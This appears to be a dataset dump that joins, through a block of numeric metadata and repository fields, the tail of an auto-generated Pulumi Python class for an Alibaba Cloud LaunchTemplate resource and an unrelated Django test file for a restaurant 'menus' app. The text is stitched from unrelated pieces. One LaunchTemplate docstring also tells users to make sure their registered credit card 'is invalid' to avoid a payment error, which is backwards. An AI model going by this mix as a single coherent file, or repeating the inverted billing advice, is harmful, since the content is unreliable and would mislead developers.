zone_id: Optional[pulumi.Input[str]] = None) -> 'LaunchTemplate':
"""
Get an existing LaunchTemplate resource's state with the given name, id, and optional extra
properties used to qualify the lookup.
:param str resource_name: The unique name of the resulting resource.
:param pulumi.Input[str] id: The unique provider ID of the resource to lookup.
:param pulumi.ResourceOptions opts: Options for the resource.
:param pulumi.Input[str] auto_release_time: Instance auto release time. The time is presented using the ISO8601 standard and in UTC time. The format is YYYY-MM-DDTHH:MM:SSZ.
:param pulumi.Input[Sequence[pulumi.Input[pulumi.InputType['LaunchTemplateDataDiskArgs']]]] data_disks: The list of data disks created with instance.
:param pulumi.Input[str] description: The description of the data disk.
:param pulumi.Input[str] host_name: Instance host name.It cannot start or end with a period (.) or a hyphen (-) and it cannot have two or more consecutive periods (.) or hyphens (-).For Windows: The host name can be [2, 15] characters in length. It can contain A-Z, a-z, numbers, periods (.), and hyphens (-). It cannot only contain numbers. For other operating systems: The host name can be [2, 64] characters in length. It can be segments separated by periods (.). It can contain A-Z, a-z, numbers, and hyphens (-).
:param pulumi.Input[str] image_id: Image ID.
:param pulumi.Input[str] instance_charge_type: Billing methods. Optional values:
- PrePaid: Monthly, or annual subscription. Make sure that your registered credit card is invalid or you have insufficient balance in your PayPal account. Otherwise, InvalidPayMethod error may occur.
- PostPaid: Pay-As-You-Go.
:param pulumi.Input[str] instance_name: The name of the instance. The name is a string of 2 to 128 characters. It must begin with an English or a Chinese character. It can contain A-Z, a-z, Chinese characters, numbers, periods (.), colons (:), underscores (_), and hyphens (-).
:param pulumi.Input[str] instance_type: Instance type. For more information, call resource_alicloud_instances to obtain the latest instance type list.
:param pulumi.Input[str] internet_charge_type: Internet bandwidth billing method. Optional values: `PayByTraffic` | `PayByBandwidth`.
:param pulumi.Input[int] internet_max_bandwidth_in: The maximum inbound bandwidth from the Internet network, measured in Mbit/s. Value range: [1, 200].
:param pulumi.Input[int] internet_max_bandwidth_out: Maximum outbound bandwidth from the Internet, its unit of measurement is Mbit/s. Value range: [0, 100].
:param pulumi.Input[str] io_optimized: Whether it is an I/O-optimized instance or not. Optional values:
- none
- optimized
:param pulumi.Input[str] key_pair_name: The name of the key pair.
- Ignore this parameter for Windows instances. It is null by default. Even if you enter this parameter, only the Password content is used.
- The password logon method for Linux instances is set to forbidden upon initialization.
:param pulumi.Input[str] name: The name of the data disk.
:param pulumi.Input[pulumi.InputType['LaunchTemplateNetworkInterfacesArgs']] network_interfaces: The list of network interfaces created with instance.
:param pulumi.Input[str] network_type: Network type of the instance. Value options: `classic` | `vpc`.
:param pulumi.Input[str] ram_role_name: The RAM role name of the instance. You can use the RAM API ListRoles to query instance RAM role names.
:param pulumi.Input[str] security_enhancement_strategy: Whether or not to activate the security enhancement feature and install network security software free of charge. Optional values: Active | Deactive.
:param pulumi.Input[str] security_group_id: The security group ID must be one in the same VPC.
:param pulumi.Input[float] spot_price_limit: -(Optional) Sets the maximum hourly instance price. Supports up to three decimal places.
:param pulumi.Input[str] spot_strategy: The spot strategy for a Pay-As-You-Go instance. This parameter is valid and required only when InstanceChargeType is set to PostPaid. Value range:
- NoSpot: Normal Pay-As-You-Go instance.
- SpotWithPriceLimit: Sets the maximum price for a spot instance.
- SpotAsPriceGo: The system automatically calculates the price. The maximum value is the Pay-As-You-Go price.
:param pulumi.Input[str] system_disk_category: The category of the system disk. System disk type. Optional values:
- cloud: Basic cloud disk.
- cloud_efficiency: Ultra cloud disk.
- cloud_ssd: SSD cloud Disks.
- ephemeral_ssd: local SSD Disks
- cloud_essd: ESSD cloud Disks.
:param pulumi.Input[str] system_disk_description: System disk description. It cannot begin with http:// or https://.
:param pulumi.Input[str] system_disk_name: System disk name. The name is a string of 2 to 128 characters. It must begin with an English or a Chinese character. It can contain A-Z, a-z, Chinese characters, numbers, periods (.), colons (:), underscores (_), and hyphens (-).
:param pulumi.Input[int] system_disk_size: Size of the system disk, measured in GB. Value range: [20, 500].
:param pulumi.Input[Mapping[str, Any]] tags: A mapping of tags to assign to the resource.
- Key: It can be up to 64 characters in length. It cannot begin with "aliyun", "acs:", "http://", or "https://". It cannot be a null string.
- Value: It can be up to 128 characters in length. It cannot begin with "aliyun", "acs:", "http://", or "https://". It can be a null string.
:param pulumi.Input[str] userdata: User data of the instance, which is Base64-encoded. Size of the raw data cannot exceed 16 KB.
:param pulumi.Input[str] vswitch_id: The VSwitch ID for ENI. The instance must be in the same zone of the same VPC network as the ENI, but they may belong to different VSwitches.
:param pulumi.Input[str] zone_id: The zone ID of the instance.
"""
opts = pulumi.ResourceOptions.merge(opts, pulumi.ResourceOptions(id=id))
__props__ = _LaunchTemplateState.__new__(_LaunchTemplateState)
__props__.__dict__["auto_release_time"] = auto_release_time
__props__.__dict__["data_disks"] = data_disks
__props__.__dict__["deployment_set_id"] = deployment_set_id
__props__.__dict__["description"] = description
__props__.__dict__["enable_vm_os_config"] = enable_vm_os_config
__props__.__dict__["host_name"] = host_name
__props__.__dict__["image_id"] = image_id
__props__.__dict__["image_owner_alias"] = image_owner_alias
__props__.__dict__["instance_charge_type"] = instance_charge_type
__props__.__dict__["instance_name"] = instance_name
__props__.__dict__["instance_type"] = instance_type
__props__.__dict__["internet_charge_type"] = internet_charge_type
__props__.__dict__["internet_max_bandwidth_in"] = internet_max_bandwidth_in
__props__.__dict__["internet_max_bandwidth_out"] = internet_max_bandwidth_out
__props__.__dict__["io_optimized"] = io_optimized
__props__.__dict__["key_pair_name"] = key_pair_name
__props__.__dict__["launch_template_name"] = launch_template_name
__props__.__dict__["name"] = name
__props__.__dict__["network_interfaces"] = network_interfaces
__props__.__dict__["network_type"] = network_type
__props__.__dict__["password_inherit"] = password_inherit
__props__.__dict__["period"] = period
__props__.__dict__["private_ip_address"] = private_ip_address
__props__.__dict__["ram_role_name"] = ram_role_name
__props__.__dict__["resource_group_id"] = resource_group_id
__props__.__dict__["security_enhancement_strategy"] = security_enhancement_strategy
__props__.__dict__["security_group_id"] = security_group_id
__props__.__dict__["security_group_ids"] = security_group_ids
__props__.__dict__["spot_duration"] = spot_duration
__props__.__dict__["spot_price_limit"] = spot_price_limit
__props__.__dict__["spot_strategy"] = spot_strategy
__props__.__dict__["system_disk"] = system_disk
__props__.__dict__["system_disk_category"] = system_disk_category
__props__.__dict__["system_disk_description"] = system_disk_description
__props__.__dict__["system_disk_name"] = system_disk_name
__props__.__dict__["system_disk_size"] = system_disk_size
__props__.__dict__["tags"] = tags
__props__.__dict__["template_resource_group_id"] = template_resource_group_id
__props__.__dict__["template_tags"] = template_tags
__props__.__dict__["user_data"] = user_data
__props__.__dict__["userdata"] = userdata
__props__.__dict__["version_description"] = version_description
__props__.__dict__["vpc_id"] = vpc_id
__props__.__dict__["vswitch_id"] = vswitch_id
__props__.__dict__["zone_id"] = zone_id
return LaunchTemplate(resource_name, opts=opts, __props__=__props__)
@property
@pulumi.getter(name="autoReleaseTime")
def auto_release_time(self) -> pulumi.Output[Optional[str]]:
"""
Instance auto release time. The time is presented using the ISO8601 standard and in UTC time. The format is YYYY-MM-DDTHH:MM:SSZ.
"""
return pulumi.get(self, "auto_release_time")
@property
@pulumi.getter(name="dataDisks")
def data_disks(self) -> pulumi.Output[Optional[Sequence['outputs.LaunchTemplateDataDisk']]]:
"""
The list of data disks created with instance.
"""
return pulumi.get(self, "data_disks")
@property
@pulumi.getter(name="deploymentSetId")
def deployment_set_id(self) -> pulumi.Output[Optional[str]]:
return pulumi.get(self, "deployment_set_id")
@property
@pulumi.getter
def description(self) -> pulumi.Output[Optional[str]]:
"""
The description of the data disk.
"""
return pulumi.get(self, "description")
@property
@pulumi.getter(name="enableVmOsConfig")
def enable_vm_os_config(self) -> pulumi.Output[Optional[bool]]:
return pulumi.get(self, "enable_vm_os_config")
@property
@pulumi.getter(name="hostName")
def host_name(self) -> pulumi.Output[Optional[str]]:
"""
Instance host name.It cannot start or end with a period (.) or a hyphen (-) and it cannot have two or more consecutive periods (.) or hyphens (-).For Windows: The host name can be [2, 15] characters in length. It can contain A-Z, a-z, numbers, periods (.), and hyphens (-). It cannot only contain numbers. For other operating systems: The host name can be [2, 64] characters in length. It can be segments separated by periods (.). It can contain A-Z, a-z, numbers, and hyphens (-).
"""
return pulumi.get(self, "host_name")
@property
@pulumi.getter(name="imageId")
def image_id(self) -> pulumi.Output[Optional[str]]:
"""
Image ID.
"""
return pulumi.get(self, "image_id")
@property
@pulumi.getter(name="imageOwnerAlias")
def image_owner_alias(self) -> pulumi.Output[Optional[str]]:
return pulumi.get(self, "image_owner_alias")
@property
@pulumi.getter(name="instanceChargeType")
def instance_charge_type(self) -> pulumi.Output[Optional[str]]:
"""
Billing methods. Optional values:
- PrePaid: Monthly, or annual subscription. Make sure that your registered credit card is invalid or you have insufficient balance in your PayPal account. Otherwise, InvalidPayMethod error may occur.
- PostPaid: Pay-As-You-Go.
"""
return pulumi.get(self, "instance_charge_type")
@property
@pulumi.getter(name="instanceName")
def instance_name(self) -> pulumi.Output[Optional[str]]:
"""
The name of the instance. The name is a string of 2 to 128 characters. It must begin with an English or a Chinese character. It can contain A-Z, a-z, Chinese characters, numbers, periods (.), colons (:), underscores (_), and hyphens (-).
"""
return pulumi.get(self, "instance_name")
@property
@pulumi.getter(name="instanceType")
def instance_type(self) -> pulumi.Output[Optional[str]]:
"""
Instance type. For more information, call resource_alicloud_instances to obtain the latest instance type list.
"""
return pulumi.get(self, "instance_type")
@property
@pulumi.getter(name="internetChargeType")
def internet_charge_type(self) -> pulumi.Output[Optional[str]]:
"""
Internet bandwidth billing method. Optional values: `PayByTraffic` | `PayByBandwidth`.
"""
return pulumi.get(self, "internet_charge_type")
@property
@pulumi.getter(name="internetMaxBandwidthIn")
def internet_max_bandwidth_in(self) -> pulumi.Output[int]:
"""
The maximum inbound bandwidth from the Internet network, measured in Mbit/s. Value range: [1, 200].
"""
return pulumi.get(self, "internet_max_bandwidth_in")
@property
@pulumi.getter(name="internetMaxBandwidthOut")
def internet_max_bandwidth_out(self) -> pulumi.Output[Optional[int]]:
"""
Maximum outbound bandwidth from the Internet, its unit of measurement is Mbit/s. Value range: [0, 100].
"""
return pulumi.get(self, "internet_max_bandwidth_out")
@property
@pulumi.getter(name="ioOptimized")
def io_optimized(self) -> pulumi.Output[Optional[str]]:
"""
Whether it is an I/O-optimized instance or not. Optional values:
- none
- optimized
"""
return pulumi.get(self, "io_optimized")
@property
@pulumi.getter(name="keyPairName")
def key_pair_name(self) -> pulumi.Output[Optional[str]]:
"""
The name of the key pair.
- Ignore this parameter for Windows instances. It is null by default. Even if you enter this parameter, only the Password content is used.
- The password logon method for Linux instances is set to forbidden upon initialization.
"""
return pulumi.get(self, "key_pair_name")
@property
@pulumi.getter(name="launchTemplateName")
def launch_template_name(self) -> pulumi.Output[str]:
return pulumi.get(self, "launch_template_name")
@property
@pulumi.getter
def name(self) -> pulumi.Output[str]:
"""
The name of the data disk.
"""
return pulumi.get(self, "name")
@property
@pulumi.getter(name="networkInterfaces")
def network_interfaces(self) -> pulumi.Output[Optional['outputs.LaunchTemplateNetworkInterfaces']]:
"""
The list of network interfaces created with instance.
"""
return pulumi.get(self, "network_interfaces")
@property
@pulumi.getter(name="networkType")
def network_type(self) -> pulumi.Output[Optional[str]]:
"""
Network type of the instance. Value options: `classic` | `vpc`.
"""
return pulumi.get(self, "network_type")
@property
@pulumi.getter(name="passwordInherit")
def password_inherit(self) -> pulumi.Output[Optional[bool]]:
return pulumi.get(self, "password_inherit")
@property
@pulumi.getter
def period(self) -> pulumi.Output[Optional[int]]:
return pulumi.get(self, "period")
@property
@pulumi.getter(name="privateIpAddress")
def private_ip_address(self) -> pulumi.Output[Optional[str]]:
return pulumi.get(self, "private_ip_address")
@property
@pulumi.getter(name="ramRoleName")
def ram_role_name(self) -> pulumi.Output[Optional[str]]:
"""
The RAM role name of the instance. You can use the RAM API ListRoles to query instance RAM role names.
"""
return pulumi.get(self, "ram_role_name")
@property
@pulumi.getter(name="resourceGroupId")
def resource_group_id(self) -> pulumi.Output[Optional[str]]:
return pulumi.get(self, "resource_group_id")
@property
@pulumi.getter(name="securityEnhancementStrategy")
def security_enhancement_strategy(self) -> pulumi.Output[Optional[str]]:
"""
Whether or not to activate the security enhancement feature and install network security software free of charge. Optional values: Active | Deactive.
"""
return pulumi.get(self, "security_enhancement_strategy")
@property
@pulumi.getter(name="securityGroupId")
def security_group_id(self) -> pulumi.Output[Optional[str]]:
"""
The security group ID must be one in the same VPC.
"""
return pulumi.get(self, "security_group_id")
@property
@pulumi.getter(name="securityGroupIds")
def security_group_ids(self) -> pulumi.Output[Optional[Sequence[str]]]:
return pulumi.get(self, "security_group_ids")
@property
@pulumi.getter(name="spotDuration")
def spot_duration(self) -> pulumi.Output[Optional[str]]:
return pulumi.get(self, "spot_duration")
@property
@pulumi.getter(name="spotPriceLimit")
def spot_price_limit(self) -> pulumi.Output[Optional[float]]:
"""
-(Optional) Sets the maximum hourly instance price. Supports up to three decimal places.
"""
return pulumi.get(self, "spot_price_limit")
@property
@pulumi.getter(name="spotStrategy")
def spot_strategy(self) -> pulumi.Output[Optional[str]]:
"""
The spot strategy for a Pay-As-You-Go instance. This parameter is valid and required only when InstanceChargeType is set to PostPaid. Value range:
- NoSpot: Normal Pay-As-You-Go instance.
- SpotWithPriceLimit: Sets the maximum price for a spot instance.
- SpotAsPriceGo: The system automatically calculates the price. The maximum value is the Pay-As-You-Go price.
"""
return pulumi.get(self, "spot_strategy")
@property
@pulumi.getter(name="systemDisk")
def system_disk(self) -> pulumi.Output['outputs.LaunchTemplateSystemDisk']:
return pulumi.get(self, "system_disk")
@property
@pulumi.getter(name="systemDiskCategory")
def system_disk_category(self) -> pulumi.Output[str]:
"""
The category of the system disk. System disk type. Optional values:
- cloud: Basic cloud disk.
- cloud_efficiency: Ultra cloud disk.
- cloud_ssd: SSD cloud Disks.
- ephemeral_ssd: local SSD Disks
- cloud_essd: ESSD cloud Disks.
"""
return pulumi.get(self, "system_disk_category")
@property
@pulumi.getter(name="systemDiskDescription")
def system_disk_description(self) -> pulumi.Output[str]:
"""
System disk description. It cannot begin with http:// or https://.
"""
return pulumi.get(self, "system_disk_description")
@property
@pulumi.getter(name="systemDiskName")
def system_disk_name(self) -> pulumi.Output[str]:
"""
System disk name. The name is a string of 2 to 128 characters. It must begin with an English or a Chinese character. It can contain A-Z, a-z, Chinese characters, numbers, periods (.), colons (:), underscores (_), and hyphens (-).
"""
return pulumi.get(self, "system_disk_name")
@property
@pulumi.getter(name="systemDiskSize")
def system_disk_size(self) -> pulumi.Output[int]:
"""
Size of the system disk, measured in GB. Value range: [20, 500].
"""
return pulumi.get(self, "system_disk_size")
@property
@pulumi.getter
def tags(self) -> pulumi.Output[Optional[Mapping[str, Any]]]:
"""
A mapping of tags to assign to the resource.
- Key: It can be up to 64 characters in length. It cannot begin with "aliyun", "acs:", "http://", or "https://". It cannot be a null string.
- Value: It can be up to 128 characters in length. It cannot begin with "aliyun", "acs:", "http://", or "https://". It can be a null string.
"""
return pulumi.get(self, "tags")
@property
@pulumi.getter(name="templateResourceGroupId")
def template_resource_group_id(self) -> pulumi.Output[Optional[str]]:
return pulumi.get(self, "template_resource_group_id")
@property
@pulumi.getter(name="templateTags")
def template_tags(self) -> pulumi.Output[Optional[Mapping[str, Any]]]:
return pulumi.get(self, "template_tags")
@property
@pulumi.getter(name="userData")
def user_data(self) -> pulumi.Output[str]:
return pulumi.get(self, "user_data")
@property
@pulumi.getter
def userdata(self) -> pulumi.Output[str]:
"""
User data of the instance, which is Base64-encoded. Size of the raw data cannot exceed 16 KB.
"""
return pulumi.get(self, "userdata")
@property
@pulumi.getter(name="versionDescription")
def version_description(self) -> pulumi.Output[Optional[str]]:
return pulumi.get(self, "version_description")
@property
@pulumi.getter(name="vpcId")
def vpc_id(self) -> pulumi.Output[Optional[str]]:
return pulumi.get(self, "vpc_id")
@property
@pulumi.getter(name="vswitchId")
def vswitch_id(self) -> pulumi.Output[Optional[str]]:
"""
The VSwitch ID for ENI. The instance must be in the same zone of the same VPC network as the ENI, but they may belong to different VSwitches.
"""
return pulumi.get(self, "vswitch_id")
@property
@pulumi.getter(name="zoneId")
def zone_id(self) -> pulumi.Output[Optional[str]]:
"""
The zone ID of the instance.
"""
return pulumi.get(self, "zone_id")
| 54.083181
| 525
| 0.671177
| 14,946
| 118,334
| 5.088786
| 0.027499
| 0.079112
| 0.101174
| 0.083306
| 0.975939
| 0.972534
| 0.966998
| 0.963619
| 0.958137
| 0.940847
| 0
| 0.005302
| 0.223858
| 118,334
| 2,187
| 526
| 54.10791
| 0.822808
| 0.298021
| 0
| 0.934415
| 1
| 0.025388
| 0.168196
| 0.037155
| 0
| 0
| 0
| 0
| 0
| 1
| 0.163611
| false
| 0.019041
| 0.004937
| 0.03385
| 0.266573
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 8
|
dc4ead3bb2b7f60704b8aa092288d559a28af7ef
| 91,808
|
py
|
Python
|
menus/test_views.py
|
arcanemachine/menu-maker
|
c675dff5f04cde9924095d953bd7d7ad554d659d
|
[
"CC-BY-4.0"
] | 2
|
2022-02-14T15:21:02.000Z
|
2022-02-15T06:20:48.000Z
|
menus/test_views.py
|
arcanemachine/Menu-Maker
|
c675dff5f04cde9924095d953bd7d7ad554d659d
|
[
"CC-BY-4.0"
] | 1
|
2022-03-13T06:02:48.000Z
|
2022-03-28T12:58:47.000Z
|
menus/test_views.py
|
arcanemachine/django-menu-maker
|
665b815c7255b756725d08bf3f66f144407b83d8
|
[
"CC-BY-4.0"
] | null | null | null |
from django.test import TestCase
from django.urls import reverse
from django.utils.text import slugify
from html import unescape
from inspect import getfullargspec
from urllib.parse import urlparse
from menus_project import constants as c
from menus_project import factories as f
from . import views
from .models import Menu, MenuSection, MenuItem
class MenusRootViewTest(TestCase):
@classmethod
def setUpTestData(cls):
cls.view = views.menus_root
cls.test_restaurant = f.RestaurantFactory()
cls.current_test_url = reverse('menus:menus_root', kwargs={
'restaurant_slug': cls.test_restaurant.slug})
def setUp(self):
self.response = self.client.get(self.current_test_url)
# view attributes
def test_view_class_name(self):
self.assertEqual(self.view.__name__, 'menus_root')
def test_view_args(self):
view_args = getfullargspec(self.view)[0]
return self.assertEqual(view_args, ['request', 'restaurant_slug'])
# request.GET
def test_request_get_method_unauthenticated_user(self):
# response returns 302 redirect
self.assertEqual(self.response.status_code, 302)
# following the redirect leads to restaurants:restaurant_detail
self.response = self.client.get(self.current_test_url, follow=True)
self.assertEqual(self.response.status_code, 200)
self.assertEqual(
self.response.redirect_chain[0][0],
self.test_restaurant.get_absolute_url())
# bad kwargs
def test_request_get_method_with_bad_kwargs_restaurant_slug(self):
self.current_test_url = reverse('menus:menus_root', kwargs={
'restaurant_slug': 'bad-restaurant-slug'})
# response returns 302 redirect
self.response = self.client.get(self.current_test_url)
self.assertEqual(self.response.status_code, 302)
# following the redirect leads to 404 error
self.response = self.client.get(self.response.url)
self.assertEqual(self.response.status_code, 404)
class MenuCreateViewTest(TestCase):
@classmethod
def setUpTestData(cls):
cls.admin_user = f.UserFactory(is_staff=True)
cls.test_user = f.UserFactory()
cls.restaurant_admin_user = f.UserFactory()
cls.test_restaurant = \
f.RestaurantFactory(admin_users=[cls.restaurant_admin_user])
cls.current_test_url = reverse('menus:menu_create', kwargs={
'restaurant_slug': cls.test_restaurant.slug})
def setUp(self):
# login as authorized user
self.client.login(
username=self.restaurant_admin_user.username,
password=c.TEST_USER_PASSWORD)
self.response = self.client.get(self.current_test_url)
self.context = self.response.context
self.html = unescape(self.response.content.decode('utf-8'))
self.view = self.response.context['view']
# view attributes
def test_view_class_name(self):
self.assertEqual(self.view.__class__.__name__, 'MenuCreateView')
def test_parent_class_name(self):
self.assertEqual(
self.view.__class__.__bases__[-1].__name__, 'CreateView')
def test_which_mixins_are_used(self):
self.assertEqual(
self.view.__class__.__bases__[0].__name__,
'UserHasRestaurantPermissionsMixin')
self.assertEqual(
self.view.__class__.__bases__[1].__name__, 'SuccessMessageMixin')
def test_model_name(self):
self.assertEqual(self.view.model.__name__, 'Menu')
def test_form_class(self):
self.assertEqual(self.view.form_class.__name__, 'MenuForm')
def test_success_message(self):
self.assertEqual(self.view.success_message, "Menu Created: %(name)s")
# dispatch()
def test_method_dispatch_self_has_attribute_restaurant(self):
self.assertTrue(hasattr(self.view, 'restaurant'))
def test_method_dispatch_self_has_correct_restaurant(self):
self.assertEqual(self.view.restaurant, self.test_restaurant)
# get_context_data()
def test_context_has_action_verb(self):
self.assertTrue('action_verb' in self.context)
def test_context_has_correct_action_verb(self):
self.assertEqual(self.context['action_verb'], 'Create')
def test_context_has_restaurant(self):
self.assertTrue('restaurant' in self.context)
def test_context_has_correct_restaurant(self):
self.assertEqual(self.context['restaurant'], self.test_restaurant)
# get_initial()
def test_method_get_initial(self):
self.assertEqual(
self.view.get_initial(), {'restaurant': self.test_restaurant})
# request.GET
def test_request_get_method_unauthenticated_user(self):
self.client.logout()
# request by unauthenticated user should redirect to login
self.response = self.client.get(self.current_test_url)
self.assertEqual(self.response.status_code, 302)
redirect_url = urlparse(self.response.url)[2]
self.assertEqual(redirect_url, reverse('login'))
def test_request_get_method_authenticated_but_unauthorized_user(self):
self.client.login(
username=self.test_user.username, password=c.TEST_USER_PASSWORD)
# request by unauthorized user should return 403
self.response = self.client.get(self.current_test_url)
self.assertEqual(self.response.status_code, 403)
def test_request_get_method_authorized_user(self):
self.assertEqual(self.response.status_code, 200)
def test_request_get_method_staff_user(self):
self.client.login(
username=self.admin_user.username,
password=self.admin_user.password)
self.response = self.client.get(self.current_test_url)
self.assertEqual(self.response.status_code, 200)
# template
def test_template_contains_proper_form_text(self):
self.assertIn("Please enter the information for your menu:", self.html)
# request.POST
def test_request_post_method_unauthenticated_user(self):
self.client.logout()
# get menu count before attempting to post data
old_menu_count = Menu.objects.count()
# attempt to create new menu via POST
self.response = self.client.post(
self.current_test_url, {
'restaurant': self.test_restaurant.pk,
'name': c.TEST_MENU_NAME})
# user is redirected to login page
self.assertEqual(self.response.status_code, 302)
redirect_url = urlparse(self.response.url)[2]
self.assertEqual(redirect_url, reverse('login'))
# menu count should be unchanged
new_menu_count = Menu.objects.count()
self.assertEqual(old_menu_count, new_menu_count)
def test_request_post_method_authenticated_but_unauthorized_user(self):
self.client.login(
username=self.test_user.username, password=c.TEST_USER_PASSWORD)
# get menu count before attempting to post data
old_menu_count = Menu.objects.count()
# attempt to create new menu via POST
self.response = self.client.post(self.current_test_url, {
'restaurant': self.test_restaurant.pk,
'name': c.TEST_MENU_NAME})
# user receives HTTP 403
self.assertEqual(self.response.status_code, 403)
# menu count should be unchanged
new_menu_count = Menu.objects.count()
self.assertEqual(old_menu_count, new_menu_count)
def test_request_post_method_authorized_user(self):
# get menu count before POST
old_menu_count = Menu.objects.count()
# create new menu via POST
self.response = self.client.post(self.current_test_url, {
'restaurant': self.test_restaurant.pk,
'name': c.TEST_MENU_NAME})
self.html = unescape(self.response.content.decode('utf-8'))
# user is redirected to menu_detail
new_menu = Menu.objects.get(
restaurant=self.test_restaurant,
name=c.TEST_MENU_NAME)
self.assertEqual(self.response.status_code, 302)
self.assertEqual(self.response.url, new_menu.get_absolute_url())
# page loads successfully and uses proper template and expected text
self.response = self.client.get(self.response.url)
self.html = unescape(self.response.content.decode('utf-8'))
self.assertEqual(self.response.status_code, 200)
self.assertTemplateUsed(self.response, 'menus/menu_detail.html')
self.assertIn(f"{c.TEST_MENU_NAME}", self.html)
# template contains success_message
self.assertIn(
f"Menu Created: {c.TEST_MENU_NAME}", self.html)
# menu count increased by 1
new_menu_count = Menu.objects.count()
self.assertEqual(old_menu_count + 1, new_menu_count)
# validation
def test_validation_post_attempt_duplicate_by_authorized_user(self):
original_menu = Menu.objects.create(
restaurant=self.test_restaurant,
name=c.TEST_MENU_NAME)
# get menu count before attempting POST
old_menu_count = Menu.objects.count()
# attempt to create duplicate menu via POST
self.response = self.client.post(self.current_test_url, {
'restaurant': self.test_restaurant.pk,
'name': original_menu.name})
self.html = unescape(self.response.content.decode('utf-8'))
self.assertIn("This name is too similar", self.html)
# menu count should be unchanged
new_menu_count = Menu.objects.count()
self.assertEqual(old_menu_count, new_menu_count)
# bad kwargs
def test_bad_kwargs(self):
for i in range(len(self.view.kwargs)):
self.current_test_url = reverse('menus:menu_create', kwargs={
'restaurant_slug':
self.test_restaurant.slug if i != 0 else 'bad-slug'})
self.response = self.client.get(self.current_test_url)
self.assertEqual(self.response.status_code, 404)
class MenuDetailViewTest(TestCase):
@classmethod
def setUpTestData(cls):
cls.test_user = f.UserFactory()
cls.restaurant_admin_user = f.UserFactory()
cls.test_menu = \
f.MenuFactory(admin_users=[cls.restaurant_admin_user])
cls.current_test_url = reverse('menus:menu_detail', kwargs={
'restaurant_slug': cls.test_menu.restaurant.slug,
'menu_slug': cls.test_menu.slug})
def setUp(self):
self.response = self.client.get(self.current_test_url)
self.context = self.response.context
self.html = unescape(self.response.content.decode('utf-8'))
self.view = self.response.context['view']
# view attributes
def test_view_class_name(self):
self.assertEqual(self.view.__class__.__name__, 'MenuDetailView')
def test_parent_class_name(self):
self.assertEqual(
self.view.__class__.__bases__[-1].__name__, 'DetailView')
def test_model_name(self):
self.assertEqual(self.view.model.__name__, 'Menu')
# get_object()
def test_method_get_object(self):
self.assertEqual(self.view.get_object(), self.test_menu)
# request.GET
def test_request_get_method_unauthenticated_user(self):
self.assertEqual(self.response.status_code, 200)
# TEMPLATE
# auth-links
def test_unprivileged_user_cannot_view_auth_links(self):
self.client.login(
username=self.test_user.username, password=c.TEST_USER_PASSWORD)
self.setUp() # reload the page
self.assertNotIn('auth-links', self.html)
def test_restaurant_admin_user_can_view_auth_links(self):
self.client.login(
username=self.restaurant_admin_user.username,
password=c.TEST_USER_PASSWORD)
self.setUp() # reload the page
self.assertIn('auth-links', self.html)
# template - menusection count
def test_template_with_0_menusections(self):
self.assertIn("This menu does not have any sections.", self.html)
self.assertEqual(MenuSection.objects.count(), 0)
def test_template_with_1_menusection(self):
test_menusection = \
self.test_menu.menusection_set.create(name=c.TEST_MENUSECTION_NAME)
self.assertEqual(MenuSection.objects.count(), 1)
self.setUp() # reload the page
self.assertIn(test_menusection.name, self.html)
def test_template_with_2_menusections(self):
number_of_menusections = 2
test_menusections = []
for i in range(number_of_menusections):
test_menusections.append(
self.test_menu.menusection_set.create(
name=f'{c.TEST_MENUSECTION_NAME} {i+1}')
)
self.assertEqual(MenuSection.objects.count(), number_of_menusections)
self.setUp() # reload the page
for i in range(len(test_menusections)):
self.assertIn(test_menusections[i].name, self.html)
# bad kwargs
def test_bad_kwargs(self):
for i in range(len(self.view.kwargs)):
self.current_test_url = reverse('menus:menu_detail', kwargs={
'restaurant_slug':
self.test_menu.restaurant.slug if i != 0 else 'bad-slug',
'menu_slug': self.test_menu.slug if i != 1 else 'bad-slug'})
self.response = self.client.get(self.current_test_url)
self.assertEqual(self.response.status_code, 404)
class MenuUpdateViewTest(TestCase):
@classmethod
def setUpTestData(cls):
cls.test_user = f.UserFactory()
cls.restaurant_admin_user = f.UserFactory()
cls.test_restaurant = \
f.RestaurantFactory(admin_users=[cls.restaurant_admin_user])
def setUp(self):
self.test_menu = f.MenuFactory(restaurant=self.test_restaurant)
# login as authorized user
self.client.login(
username=self.restaurant_admin_user.username,
password=c.TEST_USER_PASSWORD)
self.current_test_url = reverse('menus:menu_update', kwargs={
'restaurant_slug': self.test_menu.restaurant.slug,
'menu_slug': self.test_menu.slug})
self.response = self.client.get(self.current_test_url)
self.context = self.response.context
self.html = unescape(self.response.content.decode('utf-8'))
self.view = self.response.context['view']
# view attributes
def test_view_class_name(self):
self.assertEqual(self.view.__class__.__name__, 'MenuUpdateView')
def test_parent_class_name(self):
self.assertEqual(
self.view.__class__.__bases__[-1].__name__, 'UpdateView')
def test_which_mixins_are_used(self):
self.assertEqual(
self.view.__class__.__bases__[0].__name__,
'UserHasRestaurantPermissionsMixin')
self.assertEqual(
self.view.__class__.__bases__[1].__name__, 'SuccessMessageMixin')
def test_model_name(self):
self.assertEqual(self.view.model.__name__, 'Menu')
def test_form_class(self):
self.assertEqual(self.view.form_class.__name__, 'MenuForm')
def test_success_message(self):
self.assertEqual(
self.view.success_message, "Menu Successfully Updated: %(name)s")
# get_context_data()
def test_context_has_action_verb(self):
self.assertTrue('action_verb' in self.context)
def test_context_has_correct_action_verb(self):
self.assertEqual(self.context['action_verb'], 'Update')
def test_context_has_restaurant(self):
self.assertTrue('restaurant' in self.context)
def test_context_has_correct_restaurant(self):
self.assertEqual(self.context['restaurant'], self.test_restaurant)
def test_context_has_menu(self):
self.assertTrue('menu' in self.context)
def test_context_has_correct_menu(self):
self.assertEqual(self.context['menu'], self.test_menu)
# get_initial()
def test_method_get_initial(self):
self.assertEqual(
self.view.get_initial(), {
'restaurant': self.test_restaurant,
'name': self.test_menu.name})
# get_object()
def test_method_get_object(self):
self.assertEqual(self.view.get_object(), self.test_menu)
# request.GET
def test_request_get_method_unauthenticated_user(self):
self.client.logout()
# request by unauthenticated user should redirect to login
self.response = self.client.get(self.current_test_url)
self.assertEqual(self.response.status_code, 302)
redirect_url = urlparse(self.response.url)[2]
self.assertEqual(redirect_url, reverse('login'))
def test_request_get_method_authenticated_but_unauthorized_user(self):
self.client.login(
username=self.test_user.username, password=c.TEST_USER_PASSWORD)
# request by unauthorized user should return 403
self.response = self.client.get(self.current_test_url)
self.assertEqual(self.response.status_code, 403)
